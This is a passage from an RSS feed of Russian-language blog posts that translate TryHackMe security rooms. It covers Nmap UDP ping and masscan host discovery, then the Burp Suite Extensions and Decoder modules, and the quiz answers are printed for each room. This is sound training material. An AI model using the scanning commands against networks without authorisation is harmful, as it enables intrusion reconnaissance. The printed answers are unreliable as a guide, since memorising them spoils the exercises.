  <p id="VjpB">На следующем рисунке показан UDP-пакет, отправленный на открытый UDP-порт, который не вызывает никакой реакции. Однако отправка UDP-пакета на любой закрытый UDP-порт может вызвать реакцию, косвенно указывающую на то, что целевой объект находится в сети.</p>
  <figure id="7eYE" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/1b827ef60c39619e281c4ca51a6d57b6.png" width="862" />
  </figure>
  <figure id="gSJl" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/c8b2d403667487322058619e561186d2.png" width="862" />
  </figure>
  <p id="wvfZ">Синтаксис для указания портов аналогичен синтаксису TCP SYN ping и TCP ACK ping; Nmap использует <code>-PU</code>для UDP ping. В следующем примере мы выполняем сканирование UDP и обнаруживаем пять активных хостов.</p>
  <p id="T3Ma">Терминал пентестера</p>
  <pre id="eyz5">pentester@TryHackMe$ sudo nmap -PU -sn 10.10.68.220/24
Starting Nmap 7.92 ( https://nmap.org ) at 2021-09-02 13:45 EEST
Nmap scan report for 10.10.68.52
Host is up (0.10s latency).
Nmap scan report for 10.10.68.121
Host is up (0.10s latency).
Nmap scan report for 10.10.68.125
Host is up (0.14s latency).
Nmap scan report for 10.10.68.134
Host is up (0.096s latency).
Nmap scan report for 10.10.68.220
Host is up (0.11s latency).
Nmap done: 256 IP addresses (5 hosts up) scanned in 9.20 seconds</pre>
  <p id="HVdC">Давайте рассмотрим сгенерированные UDP-пакеты. На следующем скриншоте Wireshark мы видим, что Nmap отправляет UDP-пакеты на UDP-порты, которые, скорее всего, закрыты. На изображении ниже показано, что Nmap использует необычный UDP-порт для запуска ошибки ICMP «недоступен адрес назначения (порт недоступен)».</p>
  <figure id="Ez7E" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5f04259cf9bf5b57aed2c476/room-content/2417b8b03f00fe5f589a08d9e6e62209.png" width="979" />
  </figure>
  <p id="GDRF"><strong>Масскан</strong></p>
  <p id="uApl">В качестве дополнительной информации следует отметить, что Masscan использует аналогичный подход для обнаружения доступных систем. Однако, чтобы быстро завершить сканирование сети, Masscan довольно агрессивно генерирует пакеты. Синтаксис довольно похож:  <code>-p</code>за ним может следовать номер порта, список или диапазон. Рассмотрим следующие примеры:</p>
  <ul id="NGRB">
    <li id="FfqU"><code>masscan MACHINE_IP/24 -p443</code></li>
    <li id="jLP4"><code>masscan MACHINE_IP/24 -p80,443</code></li>
    <li id="IwIU"><code>masscan MACHINE_IP/24 -p22-25</code></li>
    <li id="gSJs"><code>masscan MACHINE_IP/24 ‐‐top-ports 100</code></li>
  </ul>
  <p id="h9q3">Masscan не установлен на устройстве <code>AttackBox</code>; однако его можно установить с помощью команды <code>apt install masscan</code>.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="yGhX">Вопрос: Для какого вида сканирования TCP ping не требуется привилегированная учетная запись?</p>
    <p id="PM2D">Ответ: TCP SYN Ping</p>
    <p id="xWtF">Вопрос: Для какого вида сканирования TCP ping требуется привилегированная учетная запись?</p>
    <p id="o1HZ">Ответ: TCP ACK Ping</p>
    <p id="JQR2">Вопрос: Какую опцию нужно добавить в Nmap, чтобы запустить сканирование TCP/SYN ping на порту telnet?</p>
    <p id="6okM">Ответ: -PS23</p>
  </section>
  <h2 id="pTTy">Task 8. Using Reverse-DNS Lookup </h2>
  <p id="oBp7">По умолчанию Nmap использует обратные DNS-запросы к онлайн-хостам. Поскольку имена хостов могут многое рассказать, этот шаг может быть полезным. Однако, если вы не хотите отправлять такие DNS- запросы, вы можете <code>-n</code>пропустить этот шаг.</p>
  <p id="jrbM">По умолчанию Nmap выполняет поиск работающих хостов; однако вы можете использовать опцию <code>-R</code>для запроса DNS-сервера даже для неработающих хостов. Если вы хотите использовать конкретный DNS-сервер, вы можете добавить соответствующую  <code>--dns-servers DNS_SERVER</code> опцию.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="m9ir">Вопрос: Мы хотим, чтобы Nmap выполнил обратный DNS-запрос для всех возможных хостов в подсети, надеясь получить некоторую информацию из имен. Какую опцию нам следует добавить?</p>
    <p id="dAdD">Ответ: -R</p>
  </section>
  <h2 id="GfM1">Task 9. Summary</h2>
  <p id="Uw4f">Пройдя это задание, вы узнали, как ARP , ICMP, TCP и UDP могут обнаруживать активные хосты. Любой ответ от хоста указывает на то, что он находится в сети. Ниже приведено краткое описание параметров командной строки Nmap , которые мы рассмотрели.</p>
  <figure id="F04w" class="m_original">
    <img src="https://img3.teletype.in/files/e2/e6/e2e640ee-a91c-4818-8027-3f67510f8b9e.png" width="1146" />
  </figure>
  <hr />
  <p id="Gm56"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_45</guid><link>https://teletype.in/@fnay_offensive/post_45?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_45?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 41. Burp Suite: Extensions</title><pubDate>Wed, 04 Mar 2026 08:25:48 GMT</pubDate><media:content medium="image" url="https://img2.teletype.in/files/1b/bc/1bbcf10a-3cfe-4f58-9dc5-66d0242e641f.png"></media:content><description><![CDATA[<img src="https://img1.teletype.in/files/89/35/89351f4f-4242-480b-ba91-308feb902cff.jpeg"></img>Узнайте, как использовать расширения для расширения функциональности Burp Suite.]]></description><content:encoded><![CDATA[
  <p id="CyzY">Узнайте, как использовать расширения для расширения функциональности Burp Suite.</p>
  <figure id="9UJn" class="m_original">
    <img src="https://img1.teletype.in/files/89/35/89351f4f-4242-480b-ba91-308feb902cff.jpeg" width="1200" />
  </figure>
  <h2 id="hgZC"><strong>Задание 1. Введение</strong></h2>
  <h4 id="OTV8">Добро пожаловать в комнату расширения Burp Suite!</h4>
  <p id="zAX0">В этой комнате мы рассмотрим модульные аспекты Burp Suite , сосредоточившись на его открытой функциональности, которая позволяет разработчикам создавать дополнительные модули для фреймворка.</p>
  <figure id="Kx5Y" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <p id="TBUU">Хотя разработка модулей Burp выходит за рамки данного модуля, мы кратко рассмотрим документацию по API и обсудим типичный процесс добавления новых модулей с помощью Burp Suite <strong>BApp Store</strong> .</p>
  <figure id="4Q5L" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="uupR">Для прохождения этой комнаты вам не понадобится целевой компьютер, но убедитесь, что у вас есть доступ к Burp Suite . Если вы используете AttackBox, убедитесь, что он запущен, нажав синюю кнопку <strong>«Запустить AttackBox»</strong> в правом верхнем углу комнаты. Давайте погрузимся в захватывающий мир расширений и расширяемости Burp Suite !</p>
  <p id="WCpe"></p>
  <h2 id="lgiK"><strong>Задание 2. The Extensions Interface</strong></h2>
  <p id="S2cV">Интерфейс «Расширения» в Burp Suite предоставляет обзор расширений, загруженных в инструмент. Давайте рассмотрим различные компоненты этого интерфейса:</p>
  <figure id="eMjc" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/499907ccb192f8deb8f473accd967df9.png" width="1094" />
  </figure>
  <ol id="GgK4">
    <li id="v7Ug"><strong>Список расширений</strong> : В верхнем поле отображается список расширений, установленных в Burp Suite для текущего проекта. Вы можете активировать или деактивировать отдельные расширения.</li>
    <li id="7vd2"><strong>Управление расширениями</strong> : В левой части интерфейса расширений расположены параметры для управления расширениями:</li>
    <ul id="FqmH">
      <li id="Bmo6"><strong>Добавить</strong> : С помощью этой кнопки вы можете установить новые расширения из файлов на вашем диске. Эти файлы могут представлять собой модули, написанные вами самостоятельно, или модули, полученные из внешних источников, которые недоступны в официальном магазине BApp.</li>
      <li id="Cv3z"><strong>Удалить</strong> : Эта кнопка позволяет удалить выбранные расширения из Burp Suite .</li>
      <li id="0jWj"><strong>Кнопки «Вверх/Вниз»</strong> : Эти кнопки управляют порядком отображения установленных расширений. Порядок определяет последовательность вызова расширений при обработке трафика. Расширения применяются в порядке убывания, начиная с верхней части списка и двигаясь вниз. Порядок имеет важное значение, особенно при работе с расширениями, изменяющими запросы, поскольку некоторые из них могут конфликтовать или мешать другим.</li>
    </ul>
    <li id="81Sb"><strong>Подробности, вывод и ошибки</strong> : В нижней части окна расположены разделы для выбранного в данный момент расширения:</li>
    <ul id="oH4z">
      <li id="e31P"><strong>Подробности</strong> : В этом разделе представлена ​​информация о выбранном расширении, такая как его название, версия и описание.</li>
      <li id="9Yh5"><strong>Вывод</strong> : Расширения могут выводить информацию во время своего выполнения, и в этом разделе отображаются все соответствующие выходные данные или результаты.</li>
      <li id="FpKJ"><strong>Ошибки</strong> : Если во время выполнения расширения возникнут какие-либо ошибки, они будут отображены в этом разделе. Это может быть полезно для отладки и устранения неполадок, связанных с расширением.</li>
    </ul>
  </ol>
  <p id="dIQW">Вкратце, интерфейс расширений в Burp Suite позволяет пользователям управлять установленными расширениями и отслеживать их состояние, активировать или деактивировать для конкретных проектов, а также просматривать важные сведения, результаты и ошибки, связанные с каждым расширением. Использование расширений превращает Burp Suite в мощную и настраиваемую платформу для различных задач тестирования безопасности и оценки веб-приложений.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="djhj">Вопрос: Расширения вызываются в порядке возрастания (A) или убывания (D)?</p>
    <p id="8bno">Ответ: D</p>
  </section>
  <h2 id="JD90"><strong>Задание 3. The BApp Store</strong></h2>
  <p id="lBaG">В Burp Suite магазин приложений Burp App Store (BApp Store) позволяет легко находить и беспрепятственно интегрировать официальные расширения в инструмент. Расширения могут быть написаны на различных языках, наиболее распространенными являются Java и Python. Расширения на Java автоматически интегрируются с фреймворком Burp Suite , в то время как для расширений на Python требуется интерпретатор Jython.</p>
  <p id="f6IP">Чтобы ознакомиться с BApp Store и установить расширение для Java, давайте установим расширение <a href="https://github.com/portswigger/request-timer" target="_blank">Request Timer</a>  , написанное Ником Тейлором. Расширение Request Timer позволяет регистрировать время, необходимое для получения ответа на каждый запрос. Эта функция особенно полезна для выявления и использования уязвимостей, основанных на времени. Например, если форма авторизации обрабатывает запросы с действительными именами пользователей на секунду дольше, чем запросы с недействительными, мы можем использовать разницу во времени, чтобы определить, какие имена пользователей являются действительными.</p>
  <p id="AiKv">Выполните следующие действия, чтобы установить расширение Request Timer из магазина BApp:</p>
  <ol id="Czlh">
    <li id="KPzn">Перейдите во вкладку <strong>BApp Store в </strong>Burp Suite .</li>
    <li id="RSjK">Воспользуйтесь функцией поиска, чтобы найти <strong>Request Timer</strong> . Для этого расширения должен быть только один результат.</li>
    <li id="gxeZ">Нажмите на найденное расширение, чтобы просмотреть более подробную информацию.</li>
    <li id="CIiT">Нажмите кнопку <strong>«Установить»</strong>  , чтобы установить расширение Request Timer.</li>
  </ol>
  <figure id="8iVa" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f667309abf35384b10ab28ffe04da311.png" width="1095" />
  </figure>
  <p id="EVfe">После успешной установки расширения вы заметите, что в главном меню в верхней части интерфейса Burp Suite появится новая вкладка . Разные расширения могут вести себя по-разному. Некоторые могут добавлять новые пункты в контекстные меню, вызываемые щелчком правой кнопки мыши, в то время как другие создают совершенно новые вкладки в главной строке меню.</p>
  <p id="JWgH">Поскольку данная установка является лишь примером использования BApp Store, мы не будем здесь рассматривать, как использовать Request Timer. Однако я настоятельно рекомендую открыть новую вкладку и изучить расширение, чтобы лучше понять его функциональность. Request Timer может быть полезен в различных сценариях, особенно при оценке безопасности веб-приложений и выявлении потенциальных уязвимостей, связанных со временем.</p>
  <p id="iyz7"></p>
  <h2 id="VEx5"><strong>Задание 4. Jython</strong></h2>
  <p id="fYWn"><strong>Примечание:</strong> Если вы используете AttackBox, интеграция с Jython уже выполнена, поэтому вы можете пропустить этот шаг.</p>
  <p id="hVvZ">Для использования модулей Python в Burp Suite необходимо подключить JAR- файл интерпретатора Jython, который представляет собой реализацию Python на Java. Интерпретатор Jython позволяет запускать расширения на основе Python в Burp Suite.</p>
  <p id="sP5K">Выполните следующие шаги, чтобы интегрировать Jython в Burp Suite на вашем локальном компьютере:</p>
  <ol id="EnHX">
    <li id="9G77"><strong>Скачать JAR-файл</strong> Jython : Зайдите на <a href="https://www.jython.org/download" target="_blank">веб-сайт Jython</a> и скачайте автономный JAR- архив. Найдите опцию <strong>«Jython Standalone»</strong> . Сохраните JAR- файл в папку на вашем диске.</li>
    <li id="qekd"><strong>Настройка Jython в Burp Suite</strong> : Откройте Burp Suite и перейдите в модуль <strong>«Расширения»</strong> . Затем перейдите на вкладку « <strong>Настройки расширений» .</strong></li>
    <li id="3Xbj"><strong>Среда Python</strong> : прокрутите вниз до раздела &quot;Среда Python&quot;.</li>
    <li id="SKkF"><strong>Укажите местоположение JAR-файла</strong> Jython : в поле «Местоположение автономного JAR- файла Jython» укажите путь к загруженному JAR- файлу Jython.</li>
  </ol>
  <p id="cKts">После выполнения этих шагов Jython будет интегрирован с Burp Suite , что позволит вам использовать модули Python в этом инструменте. Эта интеграция значительно увеличивает количество доступных расширений и расширяет ваши возможности при выполнении различных задач по тестированию безопасности и оценке веб-приложений.</p>
  <p id="3Ade"><strong>Примечание:</strong> Процесс добавления Jython в Burp Suite одинаков для всех операционных систем, поскольку Java — это многоплатформенная технология.</p>
  <p id="SKwl"></p>
  <h2 id="7O7M"><strong>Задание 5. The Burp Suite API</strong></h2>
  <p id="WVxz">В модуле расширений Burp Suite вы получаете доступ к широкому спектру API- интерфейсов, позволяющих создавать и интегрировать ваши модули с Burp Suite . Эти API предоставляют различные функциональные возможности, позволяя расширять возможности Burp Suite в соответствии с вашими конкретными потребностями.</p>
  <p id="l0Ig">Чтобы просмотреть доступные конечные точки API , перейдите на вкладку <strong>«API»</strong> в модуле «Расширения». Каждый элемент, указанный на левой панели, представляет собой отдельную конечную точку API , доступную из расширений.</p>
  <figure id="7Fzs" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/b815da3ba5714ffd2cbfa13c1c034aae.png" width="1093" />
  </figure>
  <p id="LxWe">API расширений предоставляют разработчикам значительные возможности и гибкость при создании пользовательских расширений. Вы можете использовать эти API для беспрепятственного взаимодействия с существующим функционалом Burp Suite и адаптировать свои расширения для выполнения конкретных задач.</p>
  <p id="nSQl">Burp Suite поддерживает написание расширений на нескольких языках, например:</p>
  <ol id="EnOh">
    <li id="3CkJ">Java (нативно): Вы можете напрямую использовать Java для написания расширений для Burp Suite , используя преимущества мощных доступных API.</li>
    <li id="ls0H">Python (через Jython): Если вы предпочитаете Python в качестве языка программирования, вы можете использовать Jython, который представляет собой реализацию Python на Java, для создания расширений Burp Suite .</li>
    <li id="DtTv">Ruby (через JRuby): Разработчики, знакомые с Ruby, могут использовать JRuby, реализацию Ruby на Java, для создания расширений Burp Suite .</li>
  </ol>
  <p id="HYDv">Важно отметить, что разработка расширений для Burp Suite может быть сложной задачей, выходящей за рамки данного модуля. Однако, если вас интересует дальнейшее изучение этой области и создание пользовательских расширений, PortSwigger предоставляет исчерпывающий справочник, который является отличным ресурсом для разработки расширений Burp Suite .</p>
  <p id="uVD5">Чтобы узнать больше о разработке расширений для Burp Suite и получить доступ к подробной справочной информации, вы можете посетить официальную <a href="https://portswigger.net/burp/extender/writing-your-first-burp-suite-extension" target="_blank">документацию</a> PortSwigger . Этот ресурс предоставит информацию и рекомендации, необходимые для создания мощных и настраиваемых расширений, которые улучшат ваш опыт работы с Burp Suite .</p>
  <p id="L4Ay"></p>
  <h2 id="exA7"><strong>Задание 6. Заключение</strong></h2>
  <p id="6DXE">Поздравляем! Вы успешно завершили модуль «Расширения Burp Suite» . Пройдя этот модуль, вы получили ценные знания о том, как использовать расширения для расширения функциональности Burp Suite .</p>
  <p id="juty">Теперь вы хорошо понимаете, как:</p>
  <ol id="MYNF">
    <li id="tYjF">Устанавливайте и управляйте расширениями из магазина BApp, чтобы расширить возможности Burp Suite.</li>
    <li id="vsDv">Интегрируйте Jython, чтобы использовать модули Python в Burp Suite .</li>
    <li id="Iz4R">Изучите API, позволяющие разрабатывать собственные модули на Java, Python или Ruby.</li>
  </ol>
  <p id="3O1p">Обладая этими навыками, вы сможете в полной мере использовать модуль Burp Suite Extensions при тестировании безопасности веб-приложений и оценке уязвимостей.</p>
  <p id="vs6l">Отличная работа над модулем, и отдельная благодарность за вашу целеустремленность и старания! Продолжайте изучать, совершенствовать и оттачивать свои навыки в области кибербезопасности. Успешного хакинга!</p>
  <figure id="NuVG" class="m_original">
    <img src="https://img4.teletype.in/files/fc/56/fc568c74-c2af-4258-b88b-e3184323d7e4.png" width="1202" />
  </figure>
  <hr />
  <p id="JsPE"><a href="http://t.me/pentest89" target="_blank"><strong>Основная группа</strong></a> обучения ИБ<br /><strong><a href="https://t.me/+fXKM89fYCMVmYjFi" target="_blank">Lab-группу</a></strong> с полезным софтом / книгами / аудио.<br /><a href="https://t.me/+RuwyHi0We0lmZDhi" target="_blank"><strong>Чат</strong> </a>для обсуждений, задавай свои вопросы.<br />P.S. С вами был <a href="https://t.me/Fnay_Offensive" target="_blank">@Fnay_Offensive</a><br />До новой встречи, user_name!</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@fnay_offensive/post_44</guid><link>https://teletype.in/@fnay_offensive/post_44?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive</link><comments>https://teletype.in/@fnay_offensive/post_44?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=fnay_offensive#comments</comments><dc:creator>fnay_offensive</dc:creator><title>День 40.Burp Suite: Other Modules</title><pubDate>Wed, 04 Mar 2026 08:12:14 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/42/2d/422db9cb-4b1a-4c62-a616-866da28c37e6.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/10/b5/10b56cf1-f3ce-4e25-a73e-ab620c8811a3.jpeg"></img>Помимо широко известных комнат Repeater и Intruder , в Burp Suite есть несколько менее известных модулей. Именно на них мы сосредоточимся в ходе исследования этой комнаты.]]></description><content:encoded><![CDATA[
  <h2 id="qpbg"><strong>Задание 1. Введение </strong></h2>
  <p id="8hmr">Ознакомьтесь с некоторыми менее известными модулями Burp Suite.</p>
  <figure id="x76f" class="m_original">
    <img src="https://img2.teletype.in/files/10/b5/10b56cf1-f3ce-4e25-a73e-ab620c8811a3.jpeg" width="1200" />
  </figure>
  <h4 id="o0gK">Добро пожаловать в раздел «Другие модули Burp Suite» !</h4>
  <p id="aXiU">Помимо широко известных комнат <a href="https://tryhackme.com/room/burpsuiterepeater" target="_blank">Repeater</a> и <a href="https://tryhackme.com/room/burpsuiteintruder" target="_blank">Intruder</a> , в Burp Suite есть несколько менее известных модулей. Именно на них мы сосредоточимся в ходе исследования этой комнаты.</p>
  <figure id="EzJ0" class="m_original">
    <img src="https://img4.teletype.in/files/bc/b6/bcb622a0-5bf5-4af2-ad9f-d9b419dff0f0.jpeg" width="1920" />
  </figure>
  <p id="QslM">В центре внимания будут инструменты Decoder, Comparer, Sequencer и Organizer. Они упрощают работу с закодированным текстом, позволяют сравнивать наборы данных, анализировать случайность в захваченных токенах и помогают сохранять и аннотировать копии HTTP- сообщений, к которым вы, возможно, захотите вернуться позже. Хотя эти задачи кажутся простыми, их выполнение в Burp Suite может существенно сэкономить время, что подчеркивает важность эффективного использования этих модулей.</p>
  <figure id="Dhqf" class="m_original">
    <img src="https://img4.teletype.in/files/bc/3e/bc3e0124-c40e-40cf-8465-e6a3432fbef9.jpeg" width="1200" />
  </figure>
  <p id="h0bG">Итак, без лишних слов, давайте перейдем к первому инструменту — декодеру.</p>
  <h2 id="rhQP"><strong>Задание 2. Декодер: Обзор </strong></h2>
  <p id="MeUQ">Модуль Decoder в Burp Suite предоставляет пользователю возможности манипулирования данными. Как следует из названия, он не только декодирует данные, перехваченные во время атаки, но и предоставляет функцию кодирования собственных данных, подготавливая их к передаче целевому объекту. Decoder также позволяет создавать хеш-суммы данных, а также предоставляет функцию Smart Decode, которая пытается рекурсивно декодировать предоставленные данные, пока они не вернутся в исходный текстовый формат (подобно функции &quot;Magic&quot; в <a href="https://gchq.github.io/CyberChef/" target="_blank">Cyberchef</a> ).</p>
  <p id="9mV3">Чтобы получить доступ к декодеру, перейдите во вкладку «Декодер» в верхнем меню и просмотрите доступные параметры:</p>
  <figure id="iutL" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/2258ccd03e0732c2d0bd4729a3f6212f.png" width="1257" />
  </figure>
  <p id="aX4f">Этот интерфейс предоставляет множество вариантов.</p>
  <ol id="iHnZ">
    <li id="qEOY">Это поле служит рабочей областью для ввода или вставки данных, требующих кодирования или декодирования. Как и в других модулях Burp Suite , данные можно перемещать в эту область из разных частей платформы с помощью опции « <strong>Отправить в декодер»,</strong> активируемой щелчком правой кнопки мыши.</li>
    <li id="aetP">В верхней части списка справа есть возможность обрабатывать входные данные либо как текстовые, либо как шестнадцатеричные байтовые значения.</li>
    <li id="bn4G">По мере продвижения вниз по списку появляются выпадающие меню для кодирования, декодирования или хеширования входных данных.</li>
    <li id="ct4P">Функция <strong>Smart Decode</strong>  , расположенная в конце, пытается автоматически декодировать входные данные.</li>
  </ol>
  <figure id="RDRO" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/f795b0f0701d019d37025310fa4ae285.png" width="1260" />
  </figure>
  <p id="Er67">После ввода данных в поле ввода интерфейс дублируется, отображая результат нашей операции. Затем мы можем выбрать применение дальнейших преобразований, используя те же параметры:</p>
  <figure id="ad1n" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/257ef62054a79fe68172310bfcb4c002.png" width="1034" />
  </figure>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="LkmA">Вопрос: Какая функция пытается выполнить автоматическое декодирование входных данных?<br />Ответ: Smart decode</p>
  </section>
  <h2 id="iRsc"><strong>Задание 3. Декодер: кодирование/декодирование </strong></h2>
  <h4 id="KwQP">Кодирование и декодирование с помощью декодера</h4>
  <p id="FiKQ">Теперь давайте подробно рассмотрим параметры ручного кодирования и декодирования. Они идентичны независимо от того, выбрано ли меню декодирования или кодирования:</p>
  <figure id="iMCx" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/8ce7c550edf3a79cafbb7be8468793ff.png" width="205" />
  </figure>
  <ul id="WgKv">
    <li id="ITvv"><strong>Plain</strong> : Это относится к исходному тексту до применения каких-либо преобразований.</li>
    <li id="TkDJ"><strong>URL</strong> : Кодирование URL используется для обеспечения безопасной передачи данных в URL-адресе веб-запроса. Оно включает замену символов их кодов ASCII в шестнадцатеричном формате, перед которыми стоит символ процента (%). Этот метод крайне важен для тестирования любых веб-приложений.Например, кодирование символа косой черты ( <strong>/</strong> ), код символа ASCII которого равен 47, преобразует его в шестнадцатеричный код в <strong>2F</strong> , таким образом, в кодировке URL он становится <strong>%2F</strong> . Декодер можно использовать для проверки этого, введя косую черту в поле ввода, а затем выбрав <code>Encode as -&gt; URL</code>:</li>
    <li id="ec4D"><strong>HTML</strong> : Кодирование HTML-сущностей заменяет специальные символы амперсандом (&amp;), за которым следует либо шестнадцатеричное число, либо ссылка на экранируемый символ, и заканчивается точкой с запятой (;). Этот метод обеспечивает безопасное отображение специальных символов в HTML и помогает предотвратить такие атаки, как XSS. Опция HTML в декодере позволяет закодировать любой символ в его экранированный HTML-формат или декодировать захваченные HTML-сущности. Например, чтобы декодировать ранее обсуждавшуюся кавычку, введите закодированную версию и выберите <code>Decode as -&gt; HTML</code>:</li>
    <li id="383o"><strong>Base64</strong> : Base64 — широко используемый метод кодирования, преобразующий любые данные в формат, совместимый с ASCII. Принцип его работы на данном этапе не имеет решающего значения; однако заинтересованные лица могут ознакомиться с базовой математической основой <a href="https://stackabuse.com/encoding-and-decoding-base64-strings-in-python" target="_blank">здесь</a> .</li>
    <li id="dqrq"><strong>ASCII Hex</strong> : Эта опция преобразует данные между ASCII и шестнадцатеричным представлением. Например, слово &quot;ASCII&quot; можно преобразовать в шестнадцатеричное число &quot;4153434949&quot;. Каждый символ преобразуется из своего числового представления ASCII в шестнадцатеричное.</li>
    <li id="cpS4"><strong>Шестнадцатеричная, восьмеричная и двоичная системы счисления</strong> : эти методы кодирования применяются исключительно к числовым данным, преобразуя их между десятичной, шестнадцатеричной, восьмеричной (основание восемь) и двоичной системами счисления.</li>
    <li id="pPNX"><strong>Gzip</strong> : Gzip сжимает данные, уменьшая размер файлов и страниц перед передачей в браузер. Более быстрая загрузка крайне желательна для разработчиков, стремящихся улучшить свои SEO-показатели и избежать неудобств для пользователей. Декодер облегчает ручное кодирование и декодирование данных gzip, хотя они часто не являются допустимыми ASCII/Unicode. Например:</li>
  </ul>
  <p id="FBIi">Эти методы можно комбинировать. Например, фразу (&quot;Burp Suite Decoder&quot;) можно преобразовать в шестнадцатеричный код ASCII, а затем в восьмеричный:</p>
  <figure id="o8YS" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/645b19f5d5848d004ab9c9e2/room-content/4a1065502dd1020858694994767b4156.gif" width="1034" />
  </figure>
  <p id="xZVx">В совокупности эти методы предоставляют нам существенный контроль над данными, которые мы кодируем или декодируем.</p>
  <p id="UDj9">Каждый метод кодирования/декодирования обозначен определенным цветом, что позволяет быстро определить применяемое преобразование.</p>
  <h5 id="vP99">шестнадцатеричный формат</h5>
  <p id="pYSI">Хотя ввод данных в формате ASCII удобен, иногда требуется побайтовое редактирование входных данных. Именно здесь на помощь приходит функция «Шестнадцатеричный просмотр», которую можно выбрать над параметрами декодирования:</p>
  <figure id="r1aZ" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/704444afc761deabd6a8a3492dffd89b.png" width="1035" />
  </figure>
  <p id="5G3p">Эта функция позволяет просматривать и изменять данные в шестнадцатеричном байтовом формате, что является важным инструментом при работе с бинарными файлами или другими данными, не являющимися ASCII-символами.</p>
  <h5 id="PnYq">Smart Decode</h5>
  <p id="Hlyo">Наконец, у нас есть опция <strong>«Умное декодирование»</strong> . Эта функция пытается автоматически декодировать закодированный текст. Например, текст <code>&amp;#x42;&amp;#x75;&amp;#x72;&amp;#x70;&amp;#x20;&amp;#x53;&amp;#x75;&amp;#x69;&amp;#x74;&amp;#x65;</code> автоматически распознается как HTML-код и соответственно декодируется:</p>
  <figure id="jyCk" class="m_original">
    <img src="https://tryhackme-images.s3.amazonaws.com/user-uploads/5d9e176315f8850e719252ed/room-content/e6330851dfa9ea47e3d2d54ab78b0023.gif" width="1034" />
  </figure>
  <p id="4cxS">Хотя эта функция и не идеальна, она может стать быстрым решением для расшифровки неизвестных фрагментов данных.</p>
  <section style="background-color:hsl(hsl(34,  84%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="wi0N">Вопрос:</p>
    <p id="8c5T">Кодировка фразы в Base64: <code>Let&#x27;s Start Simple</code>.</p>
    <p id="t8zt">Какова версия этого текста в кодировке base64?<br /><strong>Ответ: TGV0J3MgU3RhcnQgU2ltcGxl</strong></p>
    <p id="INbr">Вопрос: Расшифруйте эти данные по URL: <code>%4e%65%78%74%3a%20%44%65%63%6f%64%69%6e%67</code>.</p>
    <p id="L4yn">Какой текст возвращается в открытом виде?<br /><strong>Ответ: Next: Decoding</strong></p>
    <p id="MuWu">Вопрос: Используйте функцию Smart decode для декодирования этих данных: <code>&amp;#x25;&amp;#x33;&amp;#x34;&amp;#x25;&amp;#x33;&amp;#x37;</code>.</p>
    <p id="cfVu">Что представляет собой расшифрованный текст?<br /><strong>Ответ: 47</strong></p>
    <p id="TVqV">Вопрос: Закодируйте эту фразу: <code>Encoding Challenge</code>.</p>
    <p id="61GB">Начните с кодирования base64. Возьмите результат этого кодирования и преобразуйте его в шестнадцатеричный код ASCII. Наконец, закодируйте шестнадцатеричную строку в восьмеричный код <em>.</em></p>
    <p id="3sJY">Какая строка будет последней?</p>
    <p id="YE5S"><br /><strong>Ответ: 24034214a720270024142d541357471232250253552c1162d1206c</strong></p>
  </section>
  <h2 id="Qv2m"><strong>Задание 4. Декодер: Хэширование </strong></h2>
  <p id="hNZG"><code>Hash</code>В дополнение к функциям кодирования/декодирования, Decoder также предоставляет возможность генерировать хеш-суммы для наших данных.</p>
  <h4 id="e4dd">Теория</h4>
